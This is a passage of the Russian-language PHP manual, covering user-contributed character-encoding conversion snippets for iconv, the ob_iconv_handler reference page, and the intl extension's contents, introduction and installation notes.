                $substring1 = $str[$i].$str[$i+1];
                $substring2 = $str[$i+2].$str[$i+3];

                if ($substring1 == "00")
                {
                        $byte1 = "";
                        $byte2 = $substring2;
                }
                else
                {
                        $substring = $substring1.$substring2;
                        $byte1 = dechex(192+(hexdec($substring)/64));
                        $byte2 = dechex(128+(hexdec($substring)%64));
                }
                $utf8 .= $byte1.$byte2;
        }
        return $utf8;
}

echo strtoupper(ucs2toutf8("06450631062D0020"));

?>

Input:
06450631062D
Output:
D985D8B1D8AD

regards,
Ziyad
aissam at yahoo dot com 29-Nov-2004 08:20
For those who have troubles in displaying UCS-2 data on browser, here's a simple function that convert ucs2 to html unicode entities :

<?php

 function ucs2html($str) {
    $str=trim($str); // if you are reading from file
    $len=strlen($str);
    $html='';
    for($i=0;$i<$len;$i+=2)
        $html.='&#'.hexdec(dechex(ord($str[$i+1])).
                   sprintf("%02s",dechex(ord($str[$i])))).';';
    return($html);
 }
?>
nikolai-dot-zujev-at-gmail-dot-com 18-Nov-2004 01:14
Here is an example how to convert windows-1251 (windows) or cp1251(Linux/Unix) encoded string to UTF-8 encoding.

<?php
function cp1251_utf8( $sInput )
{
    $sOutput = "";

    for ( $i = 0; $i < strlen( $sInput ); $i++ )
    {
        $iAscii = ord( $sInput[$i] );

        if ( $iAscii >= 192 && $iAscii <= 255 )
            $sOutput .=  "&#".( 1040 + ( $iAscii - 192 ) ).";";
        else if ( $iAscii == 168 )
            $sOutput .= "&#".( 1025 ).";";
        else if ( $iAscii == 184 )
            $sOutput .= "&#".( 1105 ).";";
        else
            $sOutput .= $sInput[$i];
    }

    return $sOutput;
}
?>
vitek at 4rome dot ru 15-Nov-2004 11:53
On some systems there may be no such function as iconv(); this is due to the following reason: a constant is defined named `iconv` with the value `libiconv`. So, the string PHP_FUNCTION(iconv) transforms to PHP_FUNCTION(libiconv), and you have to call libiconv() function instead of iconv().
I had seen this on FreeBSD, but I am sure that was a rather special build.
If you'd want not to be dependent on this behaviour, add the following to your script:
<?php
if (!function_exists('iconv') && function_exists('libiconv')) {
    function iconv($input_encoding, $output_encoding, $string) {
        return libiconv($input_encoding, $output_encoding, $string);
    }
}
?>
Thanks to tony2001 at phpclub.net for explaining this behaviour.
ng4rrjanbiah at rediffmail dot com 22-Jun-2004 08:10
Here is a code to convert ISO 8859-1 to UTF-8 and vice versa without using iconv.

<?php
//Logic from http://twiki.org/cgi-bin/view/Codev/InternationalisationUTF8
$str_iso8859_1 = 'foo in ISO 8859-1';
//ISO 8859-1 to UTF-8
$str_utf8 = preg_replace("/([\x80-\xFF])/e",
            "chr(0xC0|ord('\\1')>>6).chr(0x80|ord('\\1')&0x3F)",
             $str_iso8859_1);
//UTF-8 to ISO 8859-1
$str_iso8859_1 = preg_replace("/([\xC2\xC3])([\x80-\xBF])/e",
                "chr(ord('\\1')<<6&0xC0|ord('\\2')&0x3F)",
                 $str_utf8);
?>

HTH,
R. Rajesh Jeba Anbiah


Преобразует символы из текущей кодировки в кодировку выходного буфера

  • « iconv
  • intl »
  • PHP Manual
  • Функции iconv
  • Преобразует символы из текущей кодировки в кодировку выходного буфера

ob_iconv_handler

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

ob_iconv_handler — Преобразует символы из текущей кодировки в кодировку выходного буфера

Описание

ob_iconv_handler(string $contents, int $status): string

Преобразует строку, закодированную в internal_encoding, в строку, закодированную в output_encoding.

internal_encoding и output_encoding должны быть определены в php.ini или функцией iconv_set_encoding().

Список параметров

Информацию об аргументах этого обработчика можно посмотреть в описании к функции ob_start().

Возвращаемые значения

Информацию о возвращаемых значениях этого обработчика можно посмотреть в описании к функции ob_start().

Примеры

Пример #1 Пример использования ob_iconv_handler()

<?php
iconv_set_encoding("internal_encoding", "UTF-8");
iconv_set_encoding("output_encoding", "ISO-8859-1");
ob_start("ob_iconv_handler"); // запуск буферизации вывода
?>

Смотрите также

  • iconv_get_encoding() - Получает текущее значение настроек преобразования кодировок
  • iconv_set_encoding() - Устанавливает текущей настройки для преобразования символов кодировки
  • Функции контроля вывода

User Contributed Notes

st33mann at gmx dot n3t 04-Oct-2005 11:43
Just a quick note that may be helpful for some:
It seems to me that this function also modifies the HTTP Content-Type header that's sent to the client (at least in combination with the iconv_set_encoding() function).

If you specify an encoding ending with "//TRANSLIT" or "//IGNORE" (valid in iconv), it will still send the encoding name in the HTTP header. This makes it an invalid character set unfortunately.

For example:
<?php
iconv_set_encoding("internal_encoding","UTF-8");
iconv_set_encoding("output_encoding","ISO-8859-1//TRANSLIT");
ob_start("ob_iconv_handler");
?>
will send a Content-Type header of "ISO-8859-1//TRANSLIT".


Функции интернационализации

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
    • Основы использования модуля
  • Collator — Класс Collator
    • Collator::asort — Сортирует массив с сохранением ассоциации индекса
    • Collator::compare — Сравнивает две строки Unicode
    • Collator::__construct — Создаёт новый экземпляр Collator
    • Collator::create — Создаёт новый экземпляр Collator
    • Collator::getAttribute — Получает значение атрибута сопоставления
    • Collator::getErrorCode — Получает последний код ошибки Collator
    • Collator::getErrorMessage — Получает текст для кода последней ошибки Collator
    • Collator::getLocale — Получает название локали для Collator
    • Collator::getSortKey — Получает ключ сортировки строки
    • Collator::getStrength — Получает текущую силу сопоставления
    • Collator::setAttribute — Устанавливает атрибут сопоставления
    • Collator::setStrength — Устанавливает силу сопоставления
    • Collator::sortWithSortKeys — Сортирует массив с использованием указанного Collator и ключей сортировки
    • Collator::sort — Сортирует массив с использованием указанного средства сортировки
  • NumberFormatter — The NumberFormatter class
    • NumberFormatter::create — Создаёт средство форматирования чисел
    • NumberFormatter::formatCurrency — Форматирует значение валюты
    • NumberFormatter::format — Форматирует число
    • NumberFormatter::getAttribute — Получает атрибут
    • NumberFormatter::getErrorCode — Получает последний код ошибки средства форматирования
    • NumberFormatter::getErrorMessage — Получает последнее сообщение об ошибке средства форматирования
    • NumberFormatter::getLocale — Получает локаль средства форматирования
    • NumberFormatter::getPattern — Получает шаблон средства форматирования
    • NumberFormatter::getSymbol — Получает значение символа
    • NumberFormatter::getTextAttribute — Получает текстовый атрибут
    • NumberFormatter::parseCurrency — Разбирает номер валюты
    • NumberFormatter::parse — Разбирает число
    • NumberFormatter::setAttribute — Устанавливает атрибут
    • NumberFormatter::setPattern — Устанавливает шаблон средства форматирования
    • NumberFormatter::setSymbol — Устанавливает значение символа
    • NumberFormatter::setTextAttribute — Устанавливает текстовый атрибут
  • Locale — Класс Locale
    • Locale::acceptFromHttp — Попытаться определить наилучшую локаль основываясь на заголовке HTTP "Accept-Language"
    • Locale::canonicalize — Канонизировать строку локали
    • Locale::composeLocale — Возвращает корректно отсортированные и разделённые идентификаторы локали
    • Locale::filterMatches — Проверить, соответствует ли тег фильтра языка локали
    • Locale::getAllVariants — Получение вариантов из переданной локали
    • Locale::getDefault — Получение значения локали INTL по умолчанию из опции 'default_locale'
    • Locale::getDisplayLanguage — Возвращает соответствующим образом локализованное имя языка для заданной локали
    • Locale::getDisplayName — Возвращает соответствующим образом локализованное имя локали
    • Locale::getDisplayRegion — Возвращает соответствующим образом локализованное название региона для заданной локали
    • Locale::getDisplayScript — Возвращает соответствующим образом локализованное название алфавита для заданной локали
    • Locale::getDisplayVariant — Возвращает соответствующим образом локализованное название варианта для заданной локали
    • Locale::getKeywords — Получить ключевые слова для локали
    • Locale::getPrimaryLanguage — Получить первичный язык для локали
    • Locale::getRegion — Получить регион для локали
    • Locale::getScript — Получить алфавит для локали
    • Locale::lookup — Поиск языковых меток наиболее подходящих заданной локали
    • Locale::parseLocale — Получить ассоциативный массив всех подтегов локали
    • Locale::setDefault — Установить локаль по умолчанию во время исполнения
  • Normalizer — Класс Normalizer
    • Normalizer::getRawDecomposition — Извлекает свойство Decomposition_Mapping для заданного символа UTF-8
    • Normalizer::isNormalized — Проверить, соответствует ли переданная строка заданной форме нормализации
    • Normalizer::normalize — Нормализация строки
  • MessageFormatter — Класс MessageFormatter
    • MessageFormatter::create — Создаёт средство форматирования сообщений
    • MessageFormatter::formatMessage — Быстро форматирует сообщение
    • MessageFormatter::format — Форматирует сообщение
    • MessageFormatter::getErrorCode — Возвращает код ошибки последней операции
    • MessageFormatter::getErrorMessage — Возвращает текст ошибки последней операции
    • MessageFormatter::getLocale — Возвращает локаль, для которой было создано средство форматирования
    • MessageFormatter::getPattern — Возвращает шаблон, используемый средством форматирования
    • MessageFormatter::parseMessage — Быстро разбирает входную строку
    • MessageFormatter::parse — Разбирает строку согласно шаблону
    • MessageFormatter::setPattern — Устанавливает шаблон, используемый средством форматирования
  • IntlCalendar — Класс IntlCalendar
    • IntlCalendar::add — Добавляет количество (со знаком) времени в поле
    • IntlCalendar::after — Определяет, время этого объекта позже времени переданного объекта
    • IntlCalendar::before — Определяет, время этого объекта раньше времени переданного объекта
    • IntlCalendar::clear — Очищает поле или все поля
    • IntlCalendar::__construct — Закрытый конструктор для запрета создания экземпляров
    • IntlCalendar::createInstance — Создаёт новый объект IntlCalendar
    • IntlCalendar::equals — Сравнивает время двух объектов IntlCalendar на предмет равенства
    • IntlCalendar::fieldDifference — Вычисляет разницу между заданным временем и временем объекта
    • IntlCalendar::fromDateTime — Создаёт IntlCalendar из объекта или строки DateTime
    • IntlCalendar::get — Получает значение поля
    • IntlCalendar::getActualMaximum — Максимальное значение для поля с учётом текущего времени объекта
    • IntlCalendar::getActualMinimum — Минимальное значение для поля с учётом текущего времени объекта
    • IntlCalendar::getAvailableLocales — Получает массив языковых стандартов, для которых есть данные
    • IntlCalendar::getDayOfWeekType — Сообщает, является ли день будним, выходным или днём с переходом между ними
    • IntlCalendar::getErrorCode — Получает последний код ошибки объекта
    • IntlCalendar::getErrorMessage — Получает последнее сообщение об ошибке для объекта
    • IntlCalendar::getFirstDayOfWeek — Получает первый день недели для языкового стандарта календаря
    • IntlCalendar::getGreatestMinimum — Получает наибольшее локальное минимальное значение поля
    • IntlCalendar::getKeywordValuesForLocale — Получает набор значений ключевых слов языкового стандарта
    • IntlCalendar::getLeastMaximum — Получает наименьший локальный максимум для поля
    • IntlCalendar::getLocale — Получает языковой стандарт, связанный с объектом
    • IntlCalendar::getMaximum — Получает глобальное максимальное значение поля
    • IntlCalendar::getMinimalDaysInFirstWeek — Получает минимальное количество дней, которое может быть в первой неделе в году или месяце
    • IntlCalendar::getMinimum — Получает глобальное минимальное значение поля
    • IntlCalendar::getNow — Получает число, представляющее текущее время
    • IntlCalendar::getRepeatedWallTimeOption — Получает поведение для обработки повторяющегося времени процессора
    • IntlCalendar::getSkippedWallTimeOption — Получает поведение для обработки пропущенного времени процессора
    • IntlCalendar::getTime — Получает время, представленное в данный момент объектом
    • IntlCalendar::getTimeZone — Получает часовой пояс объекта
    • IntlCalendar::getType — Получает тип календаря
    • IntlCalendar::getWeekendTransition — Получает время дня, когда выходные начинаются или заканчиваются
    • IntlCalendar::inDaylightTime — Определяет, переходит ли время объекта на летнее время
    • IntlCalendar::isEquivalentTo — Определяет, равен ли другой календарь, но для другого времени
    • IntlCalendar::isLenient — Определяет, является ли интерпретация даты/времени мягкой
    • IntlCalendar::isSet — Определяет, установлено ли поле
    • IntlCalendar::isWeekend — Определяет, приходятся ли определённые дата/время на выходные
    • IntlCalendar::roll — Добавляет значение в поле без переноса в более важные поля
    • IntlCalendar::set — Устанавливает поле времени или сразу несколько общих полей
    • IntlCalendar::setDate — Set a date fields
    • IntlCalendar::setDateTime — Set a date and time fields
    • IntlCalendar::setFirstDayOfWeek — Устанавливает день, который является началом недели
    • IntlCalendar::setLenient — Устанавливает, должна ли интерпретация даты/времени быть мягкой
    • IntlCalendar::setMinimalDaysInFirstWeek — Устанавливает минимальное количество дней, которое может быть в первой неделе в году или месяце
    • IntlCalendar::setRepeatedWallTimeOption — Устанавливает поведение для обработки повторяющегося времени процессора при отрицательных переходах смещения часового пояса
    • IntlCalendar::setSkippedWallTimeOption — Устанавливает поведение для обработки пропущенного времени процессора при положительных переходах смещения часового пояса
    • IntlCalendar::setTime — Устанавливает календарное время в миллисекундах с начала эпохи Unix
    • IntlCalendar::setTimeZone — Устанавливает часовой пояс, используемый календарём
    • IntlCalendar::toDateTime — Преобразует IntlCalendar в объект DateTime
  • IntlGregorianCalendar — Класс IntlGregorianCalendar
    • IntlGregorianCalendar::__construct — Конструктор класса григорианского календаря
    • IntlGregorianCalendar::createFromDate — Create a new IntlGregorianCalendar instance from date
    • IntlGregorianCalendar::createFromDateTime — Create a new IntlGregorianCalendar instance from date and time
    • IntlGregorianCalendar::getGregorianChange — Получает дату изменения григорианского календаря
    • IntlGregorianCalendar::isLeapYear — Определяет, является ли данный год високосным
    • IntlGregorianCalendar::setGregorianChange — Устанавливает дату изменения в григорианском календаре
  • IntlTimeZone — Класс IntlTimeZone
    • IntlTimeZone::__construct — Конструктор класса, запрещающий прямое создание экземпляра
    • IntlTimeZone::countEquivalentIDs — Получить количество идентификаторов в группе похожих часовых поясов, включая данный идентификатор
    • IntlTimeZone::createDefault — Создать новую копию часового пояса по умолчанию для текущего хоста
    • IntlTimeZone::createEnumeration — Получить перечисление из идентификаторов часовых поясов по указанной стране или смещению
    • IntlTimeZone::createTimeZone — Создать объект часового пояса по заданному идентификатору
    • IntlTimeZone::createTimeZoneIDEnumeration — Получить перечисление из идентификаторов системных часовых поясов по заданным условиям фильтрации
    • IntlTimeZone::fromDateTimeZone — Создать объект часового пояса из DateTimeZone
    • IntlTimeZone::getCanonicalID — Получить канонический системный идентификатор часового пояса или нормализованный пользовательский идентификатор часового пояса по заданному идентификатору часового пояса
    • IntlTimeZone::getDisplayName — Получить имя часового пояса для отображения пользователю
    • IntlTimeZone::getDSTSavings — Получить количество миллисекунд, которое нужно добавить к местному поясному времени, чтобы получить летнее время
    • IntlTimeZone::getEquivalentID — Получить идентификатор в группе похожих часовых поясов, включая заданный идентификатор
    • IntlTimeZone::getErrorCode — Получить последний код об ошибке в объекте
    • IntlTimeZone::getErrorMessage — Получить последнее сообщение об ошибке в объекте
    • IntlTimeZone::getGMT — Создать часовой пояс по GMT (UTC)
    • IntlTimeZone::getID — Получить идентификатор часового пояса
    • IntlTimeZone::getIDForWindowsID — Преобразовать часовой пояс для Windows в системный часовой пояс
    • IntlTimeZone::getOffset — Получить необработанное значение часового пояса и смещение по Гринвичу (GMT) по заданному моменту времени
    • IntlTimeZone::getRawOffset — Получить необработанное значение смещения по Гринвичу (GMT) без учёта летнего времени
    • IntlTimeZone::getRegion — Получить код региона, соответствующего заданному идентификатору системного часового пояса
    • IntlTimeZone::getTZDataVersion — Получить версию данных о часовом поясе, который в данный момент используется в ICU
    • IntlTimeZone::getUnknown — Получить неизвестный часовой пояс («unknown»)
    • IntlTimeZone::getWindowsID — Преобразовать системный часовой пояс в часовой пояс для Windows
    • IntlTimeZone::hasSameRules — Проверить, что в другом часовом поясе используются те же самые правила и смещения, что и в первом заданном
    • IntlTimeZone::toDateTimeZone — Преобразовать в объект DateTimeZone
    • IntlTimeZone::useDaylightTime — Проверить, что в данном часовом поясе используется летнее время
  • IntlDateFormatter — Класс IntlDateFormatter
    • IntlDateFormatter::create — Создаёт средство форматирования даты
    • IntlDateFormatter::format — Форматирует значение даты/времени в виде строки
    • IntlDateFormatter::formatObject — Форматирует объект
    • IntlDateFormatter::getCalendar — Получает тип календаря, используемый IntlDateFormatter
    • IntlDateFormatter::getDateType — Получает тип даты, используемый IntlDateFormatter
    • IntlDateFormatter::getErrorCode — Получает код ошибки последней операции
    • IntlDateFormatter::getErrorMessage — Получает текст ошибки последней операции
    • IntlDateFormatter::getLocale — Получает языковой стандарт, используемый средством форматирования
    • IntlDateFormatter::getPattern — Получает шаблон, используемый IntlDateFormatter
    • IntlDateFormatter::getTimeType — Получает тип времени, используемый IntlDateFormatter
    • IntlDateFormatter::getTimeZoneId — Получает идентификатор часового пояса, используемый IntlDateFormatter
    • IntlDateFormatter::getCalendarObject — Получает копию объекта календаря средства форматирования
    • IntlDateFormatter::getTimeZone — Получает часовой пояс средства форматирования
    • IntlDateFormatter::isLenient — Получает снисходительность, используемую для IntlDateFormatter
    • IntlDateFormatter::localtime — Преобразует строку в значение времени на основе поля
    • IntlDateFormatter::parse — Преобразует строку в значение отметки времени
    • IntlDateFormatter::setCalendar — Устанавливает тип календаря, используемый средством форматирования
    • IntlDateFormatter::setLenient — Устанавливает мягкий режим анализатора
    • IntlDateFormatter::setPattern — Устанавливает шаблон, используемый IntlDateFormatter
    • IntlDateFormatter::setTimeZone — Устанавливает часовой пояс средства форматирования
  • ResourceBundle — Класс ResourceBundle
    • ResourceBundle::count — Получить количество элементов в пакете
    • ResourceBundle::create — Создать пакет ресурсов
    • ResourceBundle::getErrorCode — Получить последний код ошибки пакета
    • ResourceBundle::getErrorMessage — Получить последнее сообщение об ошибке пакета
    • ResourceBundle::get — Получить данные из пакета
    • ResourceBundle::getLocales — Получить поддерживаемые локали
  • Spoofchecker — Класс Spoofchecker
    • Spoofchecker::areConfusable — Проверить, являются ли строки подозрительными
    • Spoofchecker::__construct — Конструктор класса
    • Spoofchecker::isSuspicious — Проверяет, содержит ли текст подозрительные символы
    • Spoofchecker::setAllowedLocales — Локаль для использования в проверках
    • Spoofchecker::setChecks — Установить набор проверок
    • Spoofchecker::setRestrictionLevel — Set the restriction level
  • Transliterator — Класс Transliterator
    • Transliterator::__construct — Приватный конструктор
    • Transliterator::create — Создать транслитератор
    • Transliterator::createFromRules — Создать транслитератор на основе правил
    • Transliterator::createInverse — Создать инвертированный транслитератор
    • Transliterator::getErrorCode — Получить код последней ошибки
    • Transliterator::getErrorMessage — Получить последнее сообщение об ошибке
    • Transliterator::listIDs — Получить идентификаторы транслитератора
    • Transliterator::transliterate — Транслитерировать строку
  • IntlBreakIterator — Класс IntlBreakIterator
    • IntlBreakIterator::__construct — Закрытый конструктор, запрещающий создание экземпляров объекта
    • IntlBreakIterator::createCharacterInstance — Создаёт итератор прерывания для границ комбинирования последовательностей символов
    • IntlBreakIterator::createCodePointInstance — Создаёт итератор прерывания для границ кодовых точек
    • IntlBreakIterator::createLineInstance — Создаёт итератор прерывания для логически возможных разрывов строк
    • IntlBreakIterator::createSentenceInstance — Создаёт итератор прерывания для разрывов предложений
    • IntlBreakIterator::createTitleInstance — Создаёт итератор прерывания для разрывов заголовков
    • IntlBreakIterator::createWordInstance — Создаёт итератор прерывания для разрывов слов
    • IntlBreakIterator::current — Возвращает индекс текущей позиции
    • IntlBreakIterator::first — Устанавливает позицию к первому символу в тексте
    • IntlBreakIterator::following — Перемещает итератор к первой границе после указанного смещения
    • IntlBreakIterator::getErrorCode — Возвращает последний код ошибки объекта
    • IntlBreakIterator::getErrorMessage — Возвращает последнее сообщение об ошибке объекта
    • IntlBreakIterator::getLocale — Возвращает локаль, связанную с объектом
    • IntlBreakIterator::getPartsIterator — Создаёт итератор для перемещения фрагментов между границами
    • IntlBreakIterator::getText — Возвращает сканируемый текст
    • IntlBreakIterator::isBoundary — Сообщает, является ли смещение смещением границы
    • IntlBreakIterator::last — Устанавливает позицию итератора к индексу за последним символом
    • IntlBreakIterator::next — Перемещает итератор к следующей границе
    • IntlBreakIterator::preceding — Устанавливает позицию итератора к первой границе перед смещением
    • IntlBreakIterator::previous — Устанавливает позицию итератора на границе непосредственно перед текущей
    • IntlBreakIterator::setText — Устанавливает сканируемый текст
  • IntlRuleBasedBreakIterator — Класс IntlRuleBasedBreakIterator
    • IntlRuleBasedBreakIterator::__construct — Создаёт итератор на основе набора правил
    • IntlRuleBasedBreakIterator::getBinaryRules — Получить бинарные данные из скомпилированных правил
    • IntlRuleBasedBreakIterator::getRules — Получить набор правил, использовавшихся при создании этого объекта
    • IntlRuleBasedBreakIterator::getRuleStatus — Получить наибольшее значение статуса правил останова, определившее текущую позицию остановки
    • IntlRuleBasedBreakIterator::getRuleStatusVec — получить значения статусов из правил останова, определивших текущую позицию остановки
  • IntlCodePointBreakIterator — Класс IntlCodePointBreakIterator
    • IntlCodePointBreakIterator::getLastCodePoint — Получить последний код символа, выданный при перемещении итератора вперёд или назад
  • IntlDatePatternGenerator — Класс IntlDatePatternGenerator
    • IntlDatePatternGenerator::create — Создаёт новый экземпляр IntlDatePatternGenerator
    • IntlDatePatternGenerator::getBestPattern — Определяет наиболее подходящий формат даты/времени
  • IntlPartsIterator — Класс IntlPartsIterator
    • IntlPartsIterator::getBreakIterator — Получить IntlBreakIterator сохраняя итератор этой части
  • UConverter — Класс UConverter
    • UConverter::__construct — Создать объект UConverter
    • UConverter::convert — Конвертировать строку из одной кодировки в другую
    • UConverter::fromUCallback — Callback-функция по умолчанию для "from"
    • UConverter::getAliases — Получить псевдонимы для заданного имени
    • UConverter::getAvailable — Получить доступные имена канонических конверторов
    • UConverter::getDestinationEncoding — Получить кодировку назначения
    • UConverter::getDestinationType — Получить тип конвертера назначения
    • UConverter::getErrorCode — Получить код последней ошибки объекта
    • UConverter::getErrorMessage — Получить последнее сообщение об ошибке в объекте
    • UConverter::getSourceEncoding — Получить исходную кодировку
    • UConverter::getSourceType — Получить тип конвертера источника
    • UConverter::getStandards — Получить стандарты, связанные с именами конвертеров
    • UConverter::getSubstChars — Получить замену символов
    • UConverter::reasonText — Получить строковое представление причины обратного вызова
    • UConverter::setDestinationEncoding — Установить кодировку назначения
    • UConverter::setSourceEncoding — Установить исходную кодировку
    • UConverter::setSubstChars — Установка символов подстановки
    • UConverter::toUCallback — Callback-функция по умолчанию для "to"
    • UConverter::transcode — Преобразует строку из одной кодировки символов в другую
  • Функции Grapheme
    • grapheme_extract — Функция для извлечения последовательности кластеров графем по умолчанию из текстового буфера, которая должна быть закодирована в UTF-8
    • grapheme_stripos — Находит позицию (в единицах графемы) первого появления строки без учёта регистра
    • grapheme_stristr — Возвращает часть строки haystack от первого появления needle без учёта регистра до конца haystack
    • grapheme_strlen — Получает длину строки в единицах графемы
    • grapheme_strpos — Находит позицию (в единицах графемы) первого вхождения строки
    • grapheme_strripos — Находит позицию (в единицах графемы) последнего вхождения строки без учёта регистра
    • grapheme_strrpos — Находит позицию (в единицах графемы) последнего вхождения строки
    • grapheme_strstr — Возвращает часть строки haystack от первого появления needle до конца haystack
    • grapheme_substr — Возвращает часть строки
  • Функции IDN
    • idn_to_ascii — Преобразовать доменное имя в формат IDNA ASCII
    • idn_to_utf8 — Преобразование доменного имени из IDNA ASCII в Unicode
  • IntlChar
    • IntlChar::charAge — Получить "возраст" символьного кода
    • IntlChar::charDigitValue — Получить десятичную цифру из символа десятичной цифры
    • IntlChar::charDirection — Получить категорию направления письма для символа
    • IntlChar::charFromName — Найти символ Unicode по его имени и вернуть его код
    • IntlChar::charMirror — Получить "зеркальный" символ по коду
    • IntlChar::charName — Получить имя символа Unicode
    • IntlChar::charType — Получить главную категорию, в которую входит символ
    • IntlChar::chr — Получить символ Unicode по его коду
    • IntlChar::digit — Получить десятичное число из символа Unicode с заданным основанием
    • IntlChar::enumCharNames — Перечисляет все присвоенные символы Unicode в заданном диапазоне
    • IntlChar::enumCharTypes — Перечисление последовательностей символов Unicode сгруппированных по им категориям
    • IntlChar::foldCase — Производит преобразование регистра заданного символа
    • IntlChar::forDigit — Получить символ представляющий заданное число в заданном основании
    • IntlChar::getBidiPairedBracket — Получить парную скобку для символа
    • IntlChar::getBlockCode — Получить блок размещения символа Unicode
    • IntlChar::getCombiningClass — Получить комбинирующий класс для символа
    • IntlChar::getFC_NFKC_Closure — Получить свойство FC_NFKC_Closure для символа
    • IntlChar::getIntPropertyMaxValue — Получить минимальное значение для свойства Unicode
    • IntlChar::getIntPropertyMinValue — Получить минимальное значение для свойства Unicode
    • IntlChar::getIntPropertyValue — Получить значение свойства Unicode для символа
    • IntlChar::getNumericValue — Получить числовое представление для символа Unicode
    • IntlChar::getPropertyEnum — Получить значение константы свойства по его имени
    • IntlChar::getPropertyName — Получить Unicode имя свойства
    • IntlChar::getPropertyValueEnum — Вернуть числовой идентификатор свойства по его имени
    • IntlChar::getPropertyValueName — Получить имя Unicode для значения свойства
    • IntlChar::getUnicodeVersion — Получить версию Unicode
    • IntlChar::hasBinaryProperty — Проверить бинарное свойство Unicode для символа
    • IntlChar::isalnum — Проверить, является ли символ буквой либо цифрой
    • IntlChar::isalpha — Проверить, является ли символ буквой
    • IntlChar::isbase — Проверить, является ли символ базовым
    • IntlChar::isblank — Проверить, является ли символ "пустым" либо "горизонтальным пробелом"
    • IntlChar::iscntrl — Проверить, является ли символ управляющим
    • IntlChar::isdefined — Проверить, определён ли символ
    • IntlChar::isdigit — Проверить, является ли символ цифрой
    • IntlChar::isgraph — Проверить, является ли символ графическим символом
    • IntlChar::isIDIgnorable — Проверить, является ли символ игнорируемым
    • IntlChar::isIDPart — Проверить, допустимо ли использовать символ в идентификаторе
    • IntlChar::isIDStart — Проверить, допустимо ли использовать символ в начале идентификатора
    • IntlChar::isISOControl — Проверить, является ли символ управляющим согласно ISO
    • IntlChar::isJavaIDPart — Проверить, является ли символ допустимым в идентификаторе Java
    • IntlChar::isJavaIDStart — Проверить, может ли символ быть первым в идентификаторе Java
    • IntlChar::isJavaSpaceChar — Проверить, является ли символ пробельным с точки зрения языка Java
    • IntlChar::islower — Проверить, в нижнем ли регистре символ
    • IntlChar::isMirrored — Проверить, если у символа свойство Bidi_Mirrored
    • IntlChar::isprint — Проверяет, является ли символ отображаемым
    • IntlChar::ispunct — Проверяет, является ли символ символом пунктуации
    • IntlChar::isspace — Проверяет, является ли символ пробельным
    • IntlChar::istitle — Проверить, является ли символ титульным (Titlecase)
    • IntlChar::isUAlphabetic — Проверить, установлено ли у символа свойство Alphabetic
    • IntlChar::isULowercase — Проверить, является ли символ символом в нижнем регистре
    • IntlChar::isupper — Проверить, входит ли символ в категорию "Lu" (буква в верхнем регистре)
    • IntlChar::isUUppercase — Проверить, является ли символ символом в верхнем регистре
    • IntlChar::isUWhiteSpace — Проверить, имеет ли символ свойство White_Space (пробельный символ)
    • IntlChar::isWhitespace — Проверить, является ли символ пробельным с точки зрения ICU
    • IntlChar::isxdigit — Проверить, является ли символ шестнадцатеричной цифрой
    • IntlChar::ord — Получить код символ Unicode
    • IntlChar::tolower — Преобразование символа Unicode в нижний регистр
    • IntlChar::totitle — Преобразует символ Unicode в titlecase
    • IntlChar::toupper — Преобразование символа Unicode в верхний регистр
  • IntlException — Класс исключений для ошибок intl
  • IntlIterator — Класс IntlIterator
    • IntlIterator::current — Получить текущий элемент
    • IntlIterator::key — Получить ключ текущего элемента
    • IntlIterator::next — Перейти к следующему элементу
    • IntlIterator::rewind — Перейти к первому элементу
    • IntlIterator::valid — Проверить, корректна ли текущая позиция
  • Функции intl
    • intl_error_name — Получить имя ошибки по её коду
    • intl_get_error_code — Получить код последней ошибки
    • intl_get_error_message — Получить описание ошибки
    • intl_is_failure — Проверить, является ли код ошибки признаком сбоя

User Contributed Notes

Ryan 23-Feb-2020 10:15
Most of this classes are not documented clearly.
You can use https://github.com/salarmehr/cosmopolitan that is based on Intl extension and way easier to use.


Введение

Модуль интернационализации (далее Intl) - это обёртка для библиотеки » ICU, позволяющая программистам на PHP производить различные операции, которые зависят от локали, например, форматирование, транслитерация, преобразование кодировок, операции с календарём, совместимое с » UCA сравнение, определение границ текста и работать с идентификаторами локалей, часовыми поясами и графемами.

Программный интерфейс модуля разрабатывается так, чтобы как можно точнее повторять API ICU, чтобы люди, работавшие с ICE в C/C++ или Java, могли легко использовать API PHP. Также благодаря этому документация ICE может быть полезной чтобы понять различие функции ICU.

Intl состоит из нескольких модулей, каждый из которых предоставляет соответствующий API ICU:

  • Модуль сравнения: предоставляет инструменты для сравнения строк с поддержкой соответствующего локали порядка сортировки.
  • Модуль форматирования чисел: позволяет отображать числа в соответствии с правилами локали, или заданным шаблоном или с набором правил. Также позволяет правильно разбирать строки в числа.
  • Модуль форматирования сообщений: позволяет создавать сообщения, включающие данные (такие как числа и даты), отформатированные в соответствии с заданными шаблоном и локальными правилами, и, также, разбирать сообщения, извлекая из них данные.
  • Модуль нормализации: предоставляет функции для преобразования текста в одну из нормализованных форм Unicode. Также предоставляет возможность проверить, является ли предоставленный текст уже нормализованным.
  • Модуль локали: предоставляет взаимодействие с идентификаторами локали как к функциями, позволяя получить вложенные теги локали; разбор, композиция, сравнение (поиск и фильтрация) идентификаторов локали.
  • Модуль календаря: предоставляет класс, полезный для проведения зависимых от локали операций с календарём, получения различной информации, такой как часовые пояса для выбранной локали, первый день недели или режим текущего зимнего/летнего времени.
  • Модуль часового пояса: предоставляет обёртку над » базой данных часовых поясов, в которой содержится исчерпывающая информация о всех мировых часовых поясах.
  • Модуль форматирования даты: позволяет отображать дату в соответствии с принятым для данной локали форматом либо заданным шаблоном или набором правил. Также нужен для разбора строк, содержащих описание даты и времени.
  • Модуль транслитерации: позволяет получить представление строки на различных языках в латинице.

Ссылки

  • » Различная документация ICU

  • » Руководство пользователя ICU

  • » Алгоритм сопоставления Unicode

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для установки данного модуля необходимо предварительно установить библиотеку » ICU версии 4.0.0 или выше. Начиная с PHP 7.4.0 требуется ICU 50.1 или новее.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Используйте --enable-intl, чтобы включить модуль при компиляции PHP.

Если ICU установлен в нестандартную директорию, то её необходимо указать в переменной окружения LD_LIBRARY_PATH, чтобы динамический линковщик смог его найти:

$ export LD_LIBRARY_PATH=/opt/icu/lib

В противном случае, если ICU установлен в стандартную директорию, то никаких дополнительных параметров для configure не требуется.

User Contributed Notes

Vichingo455 21-Mar-2023 08:07
On XAMPP (Windows) open the php.ini by opening the control panel, selecting config on apache section and selecting PHP

Then add extension=php_intl and restart Apache
